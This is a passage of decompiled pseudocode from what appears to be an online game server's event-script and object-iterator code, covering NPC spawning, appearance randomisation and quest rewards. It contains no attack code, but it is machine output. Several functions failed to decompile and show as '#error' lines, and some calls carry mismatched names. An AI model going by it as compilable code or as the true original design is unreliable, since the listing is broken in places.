*PineEventScriptNode__ShineTeleportAll___vftable_)(int tr); //----- (004ABEB0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBriefEffect::sb_CloneMe(PineEventScriptNode::ShineBriefEffect *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "briefeffect", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBriefEffect::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2E94: using guessed type int (__stdcall *PineEventScriptNode__ShineBriefEffect___vftable_)(int tr); //----- (004ABF10) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBanFromArea::sb_CloneMe(PineEventScriptNode::ShineBanFromArea *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "banfromarea", 0, 5, 5); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBanFromArea::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2EB4: using guessed type int (__stdcall *PineEventScriptNode__ShineBanFromArea___vftable_)(int tr); //----- (004ABF70) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRegesteFlag::sb_CloneMe(PineEventScriptNode::ShineRegesteFlag *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "RegisteFlag", 0, 3, 3); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRegesteFlag::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2ED4: using guessed type int (__stdcall *PineEventScriptNode__ShineRegesteFlag___vftable_)(int tr); //----- (004ABFD0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRegesteGate::sb_CloneMe(PineEventScriptNode::ShineRegesteGate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "RegisteGate", 0, 4, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRegesteGate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2EF4: using guessed type int (__stdcall *PineEventScriptNode__ShineRegesteGate___vftable_)(int tr); //----- (004AC030) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDiceGameStart::sb_CloneMe(PineEventScriptNode::ShineDiceGameStart *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "DiceGameStart", 0, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDiceGameStart::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2F14: using guessed type int (__stdcall *PineEventScriptNode__ShineDiceGameStart___vftable_)(int tr); //----- (004AC090) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRevival::sb_CloneMe(PineEventScriptNode::ShineRevival *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "revival", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRevival::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2F38: using guessed type int (__stdcall *PineEventScriptNode__ShineRevival___vftable_)(int tr); //----- (004AC0F0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSpawn::sb_CloneMe(PineEventScriptNode::ShineSpawn *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "spawn", 0, 1, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSpawn::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2F54: using guessed type int (__stdcall *PineEventScriptNode__ShineSpawn___vftable_)(int tr); //----- (004AC150) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineHPSet::sb_CloneMe(PineEventScriptNode::ShineHPSet *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "hpset", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineHPSet::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5B2F70: using guessed type int (__stdcall *PineEventScriptNode__ShineHPSet___vftable_)(int tr); //----- (004AC1B0) -------------------------------------------------------- void __thiscall ScriptBriefMaker::sbr_RandomShape(ScriptBriefMaker *this, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *buf) { char v2; // bl@2 unsigned int v3; // eax@6 int v4; // eax@6 unsigned int v5; // eax@9 unsigned int v6; // eax@9 unsigned int v7; // eax@9 char charrace; // [sp+Ch] [bp-8h]@2 signed int chargender; // [sp+10h] [bp-4h]@7 rndbox.rb_box[4].rs_point.value = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); switch ( rndbox.rb_box[4].rs_slot[rndbox.rb_box[4].rs_point.value] ) { case 1u: v2 = 8; charrace = 1; break; case 2u: v2 = 15; charrace = 2; break; case 3u: v2 = 22; charrace = 3; break; default: v2 = 1; charrace = 1; break; } v3 = rndbox.rb_box[2].rs_point.mask & (rndbox.rb_box[2].rs_point.value + 1); rndbox.rb_box[2].rs_point.value = v3; v4 = rndbox.rb_box[2].rs_slot[v3]; if ( !v4 || (chargender = 0, v4 != 1) ) chargender = 1; buf->handle = -1; *(_QWORD *)&buf->charid.n4_name[8] = 0i64; *(_QWORD *)&buf->charid.n4_name[0] = 0i64; strncpy(buf->charid.n4_name, "???", 0x10u); buf->chrclass = v2; buf->mode = 1; buf->Level = 1; buf->shapedata.notcamp.shape._bf0 = charrace & 3 | 4 * (v2 & 0x1F | (unsigned __int8)(32 * chargender)); v5 = rndbox.rb_box[3].rs_point.mask & (rndbox.rb_box[3].rs_point.value + 1); rndbox.rb_box[3].rs_point.value = v5; buf->shapedata.notcamp.shape.haircolor = LOBYTE(rndbox.rb_box[3].rs_slot[v5]); v6 = rndbox.rb_box[3].rs_point.mask & (rndbox.rb_box[3].rs_point.value + 1); rndbox.rb_box[3].rs_point.value = v6; buf->shapedata.notcamp.shape.faceshape = LOBYTE(rndbox.rb_box[3].rs_slot[v6]); v7 = rndbox.rb_box[4].rs_point.value + 1; if ( chargender ) { rndbox.rb_box[4].rs_point.value = rndbox.rb_box[4].rs_point.mask & v7; buf->shapedata.notcamp.shape.hairtype = LOBYTE(rndbox.rb_box[4].rs_slot[rndbox.rb_box[4].rs_point.mask & v7]) + 4; buf->polymorph = -1; } else { rndbox.rb_box[4].rs_point.value = rndbox.rb_box[4].rs_point.mask & v7; buf->shapedata.notcamp.shape.hairtype = LOBYTE(rndbox.rb_box[4].rs_slot[rndbox.rb_box[4].rs_point.mask & v7]); buf->polymorph = -1; } } //----- (004AC340) -------------------------------------------------------- PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *__thiscall ScriptBriefMaker::sbr_MakeBeggar(ScriptBriefMaker *this, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *buf) { ScriptBriefMaker::sbr_RandomShape(this, buf); buf->shapedata.notcamp.equip.Equ_Head = -1; buf->shapedata.notcamp.equip.Equ_RightHand = -1; buf->shapedata.notcamp.equip.Equ_Body = -1; buf->shapedata.notcamp.equip.Equ_LeftHand = -1; buf->shapedata.notcamp.equip.Equ_Pant = -1; buf->shapedata.notcamp.equip.Equ_Boot = -1; buf->shapedata.notcamp.equip.Equ_AccBoot = -1; buf->shapedata.notcamp.equip.Equ_AccPant = -1; buf->shapedata.notcamp.equip.Equ_AccBody = -1; buf->shapedata.notcamp.equip.Equ_AccHeadA = -1; buf->shapedata.notcamp.equip.Equ_AccShoulderA = -1; buf->shapedata.notcamp.equip.Equ_AccShoulderB = -1; buf->shapedata.notcamp.equip.Equ_AccHeadB = -1; buf->shapedata.notcamp.equip.Equ_AccHeadC = -1; buf->shapedata.notcamp.equip.Equ_AccLeftHand = -1; buf->shapedata.notcamp.equip.Equ_AccRightHand = -1; buf->shapedata.notcamp.equip.Equ_AccBack = -1; buf->shapedata.notcamp.equip.Equ_AccWeast = -1; buf->shapedata.notcamp.equip.Equ_AccHip = -1; buf->shapedata.notcamp.equip.Equ_AccFoot = -1; buf->emoticon.emoticonid = -1; buf->emoticon.emoticonframe = 0; *(_DWORD *)&buf->chartitle.Type = 0; memset(&buf->abstatebit, 0, 0x30u); buf->abstatebit.statebit[48] = 0; buf->myguild = 0; buf->type = 4; buf->isGuildAcademyMember = 0; return buf; } //----- (004AC3E0) -------------------------------------------------------- void __thiscall AxialListKQReward::AxialListKQReward(AxialListKQReward *this, unsigned int kq) { AxialListKQReward *v2; // esi@1 KingdomQuest::KQElement *v3; // eax@1 __int16 hnd; // [sp+4h] [bp-14h]@1 AxialListKQReward *v5; // [sp+8h] [bp-10h]@1 int v6; // [sp+14h] [bp-4h]@1 v2 = this; v5 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v6 = 0; v2->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQReward::_vftable_; v3 = KingdomQuest::KingdomQuestContainer::kqc_SearchHandle(&kqcontainer, kq, (unsigned __int16 *)&hnd); v2->alkqr_kqe = v3; if ( v3 ) v2->alkqr_DemandKill = v3->kqe_kqinfo.DemandMobKill; } // 5B2F8C: using guessed type int (__stdcall *AxialListKQReward___vftable_)(int, int, int distancesquar); //----- (004AC450) -------------------------------------------------------- void __thiscall AxialListKQReward::_AxialListKQReward(AxialListKQReward *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQReward::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B2F8C: using guessed type int (__stdcall *AxialListKQReward___vftable_)(int, int, int distancesquar); //----- (004AC460) -------------------------------------------------------- #error "4AC460: undefined or illegal type '#331' (funcsize=32)" //----- (004AC4B0) -------------------------------------------------------- void __thiscall AxialListKQEnd::_AxialListKQEnd(AxialListKQEnd *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQEnd::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B2F90: using guessed type int (__thiscall *AxialListKQEnd___vftable_)(AxialListProtocolSend *this, #331 *, #331 *, int distancesquar); //----- (004AC4C0) -------------------------------------------------------- void __thiscall AxialListLinkTo::AxialListLinkTo(AxialListLinkTo *this, NPCManager::LinkInformTemplete *lnkinf) { AxialListLinkTo *v2; // esi@1 v2 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v2->allt_lnkinf = lnkinf; v2->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListLinkTo::_vftable_; } // 5B2F94: using guessed type int (__stdcall *AxialListLinkTo___vftable_[2])(int, int, int distancesquar); //----- (004AC4E0) -------------------------------------------------------- void __thiscall AxialListLinkTo::_AxialListLinkTo(AxialListLinkTo *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListLinkTo::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B2F94: using guessed type int (__stdcall *AxialListLinkTo___vftable_[2])(int, int, int distancesquar); //----- (004AC4F0) -------------------------------------------------------- #error "4AC4F0: undefined or illegal type '#331' (funcsize=22)" //----- (004AC530) -------------------------------------------------------- void __thiscall AxialListLinkToByObserver::AxialListLinkToByObserver(AxialListLinkToByObserver *this, NPCManager::LinkInformTemplete *lnkinf) { AxialListLinkToByObserver *v2; // esi@1 v2 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v2->allt_lnkinf = lnkinf; v2->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListLinkToByObserver::_vftable_; } // 5B2F98: using guessed type int (__stdcall *AxialListLinkToByObserver___vftable_)(int, int, int distancesquar); //----- (004AC550) -------------------------------------------------------- void __thiscall AxialListLinkToByObserver::_AxialListLinkToByObserver(AxialListLinkToByObserver *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListLinkToByObserver::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B2F98: using guessed type int (__stdcall *AxialListLinkToByObserver___vftable_)(int, int, int distancesquar); //----- (004AC560) -------------------------------------------------------- #error "4AC560: undefined or illegal type '#331' (funcsize=37)" //----- (004AC5D0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShinePrintf::sa_Step(PineEventScriptNode::ShinePrintf *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShinePrintf *v4; // esi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // eax@1 char *v6; // eax@3 char *v7; // ST04_4@3 DebugLogging *v8; // eax@3 DebugLogging *v9; // eax@3 unsigned __int16 result; // ax@4 PineScriptToken token; // [sp+Ch] [bp-110h]@1 unsigned int v12; // [sp+10Ch] [bp-10h]@4 int v13; // [sp+118h] [bp-4h]@1 v4 = this; PineScriptToken::pst_Clear(&token); v5 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; v13 = 0; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)(&token, ps) != 0 ) { MoveManager::MoveManager((DiceTaiSai *)&token); v7 = v6; v8 = DebugLogging::operator<<(&DeadHandleLog, "@@@printf : "); v9 = DebugLogging::operator<<(v8, v7); DebugLogging::operator<<(v9, &deb_LF); MoveManager::MoveManager((DiceTaiSai *)&token); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShinePrintf::sa_Step: wrong argument", 0); } PineScriptStack::ProcessStack::ps_Pop(ps); v13 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); __security_check_cookie(v12); return result; } //----- (004AC6C0) -------------------------------------------------------- void __thiscall AxialListMobVanish::_AxialListMobVanish(AxialListMobVanish *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobVanish::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B2FE8: using guessed type int (__stdcall *AxialListMobVanish___vftable_)(int, #331 *obj, int distancesquar); //----- (004AC6D0) -------------------------------------------------------- void __thiscall AxialListItemErase4All::_AxialListItemErase4All(AxialListItemErase4All *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListItemErase4All::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B2FEC: using guessed type int (__stdcall *AxialListItemErase4All___vftable_)(int, int, int distancesquar); //----- (004AC6E0) -------------------------------------------------------- void __thiscall AxialListMobStateSet::AxialListMobStateSet(AxialListMobStateSet *this, unsigned __int16 mobid, AbnormalStateInfo::ABSTATEINDEX abstateidx, int strength, AbnormalStateDictionary::AbState::AbStateStr *dic, int keeptime) { AxialListMobStateSet *v6; // esi@1 v6 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v6->almss_MobID = mobid; v6->almss_StateIndex = abstateidx; v6->almss_Dictionary = dic; v6->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobStateSet::_vftable_; v6->almss_Strength = strength; v6->almss_KeepTime = keeptime; } // 5B2FF0: using guessed type int (__thiscall *AxialListMobStateSet___vftable_)(AxialListMobStateSet *this, int, #331 *obj, int distancesquar); //----- (004AC720) -------------------------------------------------------- void __thiscall AxialListMobStateSet::_AxialListMobStateSet(AxialListMobStateSet *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobStateSet::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B2FF0: using guessed type int (__thiscall *AxialListMobStateSet___vftable_)(AxialListMobStateSet *this, int, #331 *obj, int distancesquar); //----- (004AC730) -------------------------------------------------------- #error "4AC730: undefined or illegal type '#331' (funcsize=70)" //----- (004AC7E0) -------------------------------------------------------- void __thiscall AxialListPlayerStateSet::_AxialListPlayerStateSet(AxialListPlayerStateSet *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPlayerStateSet::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B2FF4: using guessed type int (__thiscall *AxialListPlayerStateSet___vftable_)(AxialListPlayerStateSet *this, int, #331 *obj, int distancesquar); //----- (004AC7F0) -------------------------------------------------------- void __thiscall AxialListPlayerStateSet::AxialListPlayerStateSet(AxialListPlayerStateSet *this, AbnormalStateInfo::ABSTATEINDEX abstateidx, int strength, AbnormalStateDictionary::AbState::AbStateStr *dic, int keeptime) { AxialListPlayerStateSet *v5; // esi@1 v5 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v5->alpss_StateIndex = abstateidx; v5->alpss_KeepTime = keeptime; v5->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPlayerStateSet::_vftable_; v5->alpss_Strength = strength; v5->alpss_Dictionary = dic; } // 5B2FF4: using guessed type int (__thiscall *AxialListPlayerStateSet___vftable_)(AxialListPlayerStateSet *this, int, #331 *obj, int distancesquar); //----- (004AC820) -------------------------------------------------------- #error "4AC820: undefined or illegal type '#331' (funcsize=80)" //----- (004AC8F0) -------------------------------------------------------- void __thiscall AxialListTeleport::_AxialListTeleport(AxialListTeleport *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListTeleport::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B2FF8: using guessed type int (__stdcall *AxialListTeleport___vftable_[6])(int, int, int distancesquar); //----- (004AC900) -------------------------------------------------------- #error "4AC900: undefined or illegal type '#331' (funcsize=26)" //----- (004AC950) -------------------------------------------------------- void __thiscall AxialListTeleportAnywhere::_AxialListTeleportAnywhere(AxialListTeleportAnywhere *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListTeleportAnywhere::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B2FFC: using guessed type int (__stdcall *AxialListTeleportAnywhere___vftable_[5])(int, int, int distancesquar); //----- (004AC960) -------------------------------------------------------- #error "4AC960: undefined or illegal type '#331' (funcsize=21)" //----- (004AC9A0) -------------------------------------------------------- void __thiscall AxialListCount2::AxialListCount2(AxialListCount2 *this) { AxialListCount2 *v1; // esi@1 v1 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListCount2::_vftable_; v1->alc_Cnt = 0; } // 5B3000: using guessed type int (__stdcall *AxialListCount2___vftable_[4])(int, int, int distancesquar); //----- (004AC9C0) -------------------------------------------------------- void __thiscall AxialListCount2::_AxialListCount2(AxialListCount2 *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListCount2::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B3000: using guessed type int (__stdcall *AxialListCount2___vftable_[4])(int, int, int distancesquar); //----- (004AC9D0) -------------------------------------------------------- #error "4AC9D0: undefined or illegal type '#331' (funcsize=11)" //----- (004AC9F0) -------------------------------------------------------- void __thiscall AxialListTeleportSplit::AxialListTeleportSplit(AxialListTeleportSplit *this, int NumOfPlayer, SHINE_XY_TYPE *Position, SHINE_XY_TYPE *Position2) { AxialListTeleportSplit *v4; // esi@1 v4 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v4->_Half = NumOfPlayer / 2; v4->allt_position = Position; v4->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListTeleportSplit::_vftable_; v4->_Current = 0; v4->allt_position2 = Position2; } // 5B3004: using guessed type int (__stdcall *AxialListTeleportSplit___vftable_[3])(int, int, int distancesquar); //----- (004ACA30) -------------------------------------------------------- void __thiscall AxialListTeleportSplit::_AxialListTeleportSplit(AxialListTeleportSplit *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListTeleportSplit::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B3004: using guessed type int (__stdcall *AxialListTeleportSplit___vftable_[3])(int, int, int distancesquar); //----- (004ACA40) -------------------------------------------------------- #error "4ACA40: undefined or illegal type '#331' (funcsize=33)" //----- (004ACAA0) -------------------------------------------------------- void __thiscall AxialListFindItemOwner::AxialListFindItemOwner(AxialListFindItemOwner *this, unsigned __int16 itmid, PineScriptToken *delimiter, PineScriptToken *result) { AxialListFindItemOwner *v4; // esi@1 v4 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v4->alfio_ItemID = itmid; v4->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListFindItemOwner::_vftable_; v4->alfio_Delimiter = delimiter; v4->alfio_Result = result; v4->alfio_Number = 0; } // 5B3008: using guessed type int (__stdcall *AxialListFindItemOwner___vftable_[2])(int, int, int distancesquar); //----- (004ACAE0) -------------------------------------------------------- void __thiscall AxialListFindItemOwner::_AxialListFindItemOwner(AxialListFindItemOwner *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListFindItemOwner::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B3008: using guessed type int (__stdcall *AxialListFindItemOwner___vftable_[2])(int, int, int distancesquar); //----- (004ACAF0) -------------------------------------------------------- #error "4ACAF0: undefined or illegal type '#331' (funcsize=71)" //----- (004ACBD0) -------------------------------------------------------- void __thiscall AxialListObjectCollector::_AxialListObjectCollector(AxialListObjectCollector *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectCollector::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B300C: using guessed type int (__stdcall *AxialListObjectCollector___vftable_)(int, int, int distancesquar); //----- (004ACBE0) -------------------------------------------------------- void __thiscall AxialListGTEnd::_AxialListGTEnd(AxialListGTEnd *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGTEnd::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B3010: using guessed type int (__thiscall *AxialListGTEnd___vftable_)(AxialListProtocolSend *this, #331 *, #331 *, int distancesquar); //----- (004ACBF0) -------------------------------------------------------- #error "4ACBF0: undefined or illegal type '#331' (funcsize=23)" //----- (004ACC30) -------------------------------------------------------- #error "4ACC30: undefined or illegal type '#592' (funcsize=26)" //----- (004ACC80) -------------------------------------------------------- void __thiscall AxialListBanArea::_AxialListBanArea(AxialListBanArea *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListBanArea::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B3014: using guessed type int (__stdcall *AxialListBanArea___vftable_[2])(int, int, int distancesquar); //----- (004ACC90) -------------------------------------------------------- void __thiscall AxialListRevival::_AxialListRevival(AxialListRevival *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListRevival::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B3018: using guessed type int (__stdcall *AxialListRevival___vftable_)(int, int, int distancesquar); //----- (004ACCA0) -------------------------------------------------------- void __thiscall PineEventScriptNode::RegisterGTPortal::_RegisterGTPortal(PineEventScriptNode::RegisterGTPortal *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 5B301C: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__RegisterGTPortal____vftable_)(int tr); //----- (004ACCB0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::ClearSaveLinkto *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 5B304C: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__ClearSaveLinkto____vftable_)(int tr); //----- (004ACCC0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::NPCChatNoFacecut *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 5B3064: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__NPCChatNoFacecut____vftable_)(int tr); //----- (004ACCD0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScinarioCodeParty::_ScinarioCodeParty(PineEventScriptNode::ScinarioCodeParty *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 5B307C: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__ScinarioCodeParty____vftable_)(int tr); //----- (004ACCE0) -------------------------------------------------------- void __thiscall PineEventScriptNode::HasAbstate::_HasAbstate(PineEventScriptNode::HasAbstate *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 5B3094: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__HasAbstate____vftable_)(int tr); //----- (004ACCF0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::GTRegisterNPC *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 5B30C4: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__GTRegisterNPC____vftable_)(int tr); //----- (004ACD00) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::GTMobRegenKey *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 5B30DC: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__GTMobRegenKey____vftable_)(int tr); //----- (004ACD10) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::RegisterGTPortal *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::RegisterGTPortal::_RegisterGTPortal(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004ACD30) -------------------------------------------------------- #error "4ACD30: undefined or illegal type '#592' (funcsize=8)" //----- (004ACD60) -------------------------------------------------------- #error "4ACD60: undefined or illegal type '#331' (funcsize=25)" //----- (004ACDB0) -------------------------------------------------------- #331 *__thiscall PineEventScriptNode::OtherStatement::os_ShineObject(PineEventScriptNode::OtherStatement *this, PineScriptStack::ProcessStack 